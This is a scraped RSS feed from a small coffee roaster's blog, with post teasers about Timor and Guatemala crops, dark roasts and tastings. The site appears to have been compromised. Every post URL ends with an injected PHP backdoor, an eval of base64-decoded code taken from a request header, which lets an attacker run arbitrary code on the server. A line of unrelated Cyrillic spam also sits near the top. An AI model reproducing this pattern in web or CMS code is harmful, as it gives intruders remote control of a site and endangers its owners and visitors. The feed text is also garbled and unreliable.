http://shop.globaltolocalcoffee.biz/blog Your Guide: Specialty Coffee Micro-roaster Peter Friedland, Global to Local Coffee, Worcester Mass Mon, 18 Jan 2010 20:41:28 +0000 http://backend.userland.com/rss092 en >евтини мебелиedfaanother tasting with Timor medium (iced!) and timor dark and irish cheddar laced with porter ale! Good stuff! http://shop.globaltolocalcoffee.biz/blog/2009/06/07/wine-and-cheese-pairings-6509/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/   Roaster's Rumination 1/6/09About Dark Roasts, Chapter 99  Ah Dark Roasts. You'd think there was nothing left to say, not to mention write about about this EXTREMELY worn topic (for people like me who don't like to Ruminate, much of which is repetition, one of the banes of my existence…)  But so more ... http://shop.globaltolocalcoffee.biz/blog/2009/01/12/about-dark-roasts-chapter-99/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ 1/12/09   Serendipitously,  a coffee biz phenom has occurred with this season's Timor crop in that both the early harvest (Ermera region) and the later harvest further  up the mountainsides, (Maubesse region) arrived in New York at the same time!   This was due to shipping problems in Timor, not surprisingly after all ... http://shop.globaltolocalcoffee.biz/blog/2009/01/12/serendipitously-a-coffee-biz-phenom-has-occurred-with-this-seasons-timor-crop/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ East Timor's coffee trees stunted by soil and culture - Feature from Earth Times Environment News | Home Dili - In the high, craggy mountains south of East Timor's capital, Dili, a tangled blanket of wild, unkempt coffee trees is blooming. If the flowers, now tiny flecks of white against the dark green ... http://shop.globaltolocalcoffee.biz/blog/2008/12/17/timor-update/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ "Seasonal Coffees of the World"Join us in The Adventure of Coffee as we travel through/encounter/experience Here's the core concept: "Coffee, like all agricultural crops, has its seasons. And these are different in different places!" Little known, but not surprising once thought about for no more than the microsecond it's taking you the ... http://shop.globaltolocalcoffee.biz/blog/2008/12/17/coffee-through-the-coffee-seasons/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://shop.globaltolocalcoffee.biz/blog/2008/12/03/timors-back-arriving-today-more-soon/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The Coffee-Star fruit caper continued 10/29/08 So just after I posted the last blog expressing virtually mocking skepticism about how anyone could come up with a star fruit taste in coffee, I of course googled star fruit and as is so often the case, (frighteningly! Will there be any mysteries left unturned ... http://shop.globaltolocalcoffee.biz/blog/2008/10/31/the-coffee-star-fruit-caper-continued/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Well, this is what my coffee superpalate guru Tom Owen of Sweet Marias.com has to say about our latest acquisition, with the caveat that he wrote all this about a different crop, and that he's not carrying this farm's crop this year here and now says all kinds of things. ... http://shop.globaltolocalcoffee.biz/blog/2008/10/28/cuppers-review-of-our-new-guatemala-rainforest-alliance-huixoc/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Guata RainForest Alliance conversion/explorationBlog # 2, 10/18/06 So for us here at GTL, the question of how our previous Guata Huehuetenango Finca Injertal compares to our current Guata Huehuetenango Huixoc RFA certified in social impact is primary… …but at this stage in human history (including our own of course!), in fact  slightly ... http://shop.globaltolocalcoffee.biz/blog/2008/10/19/guata-rainforest-alliance-conversionexploration/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Global to LocalTake Pride in y/our Coffee!TM Special Stuff shining out from a Mucky lowest common denominator! We're precisely (or something like that anyway!) .00001% of the 2nd largest legally traded commodity on the planet! How many mega billions is that? We're not good at numbers so we don’t know but we ... http://shop.globaltolocalcoffee.biz/blog/2008/09/30/take-pride-in-your-coffeetm/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/